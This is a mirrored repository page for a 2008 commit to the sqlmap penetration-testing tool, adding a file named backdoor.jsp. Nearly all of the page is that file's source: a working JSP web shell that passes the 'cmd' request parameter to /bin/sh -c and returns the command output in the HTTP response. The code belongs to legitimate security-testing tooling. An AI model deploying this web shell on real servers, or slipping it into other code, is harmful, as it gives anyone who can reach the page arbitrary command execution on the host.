PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-16 12:49:02 +00:00
Code Issues Projects Releases Wiki Activity

Added a JSP backdoor (GET /.../backdoor.jsp?cmd=<os command>) for long term new features for OS commanding

Browse Source
This commit is contained in:
Bernardo Damele
2008-11-02 19:32:04 +00:00
parent 3d81f60962
commit 67e1be07a4
1 changed files with 47 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

47
shell/backdoor.jsp Normal file
View File

@@ -0,0 +1,47 @@
<%@ page import="java.io.*" %>
<%
Process p;
String s, cmd, html;
cmd = request.getParameter("cmd");
if (cmd == null) {
cmd = "pwd";
}
String []bashcmd = {"/bin/sh","-c",cmd};
html = request.getParameter("html");
if (html != null) {
out.println("<HTML>");
}
p = Runtime.getRuntime().exec(bashcmd);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null) {
out.println(s);
if (html != null) {
out.println("<br>");
}
}
while ((s = stdError.readLine()) != null) {
System.out.println(s);
if (html != null) {
out.println("<br>");
}
}
%>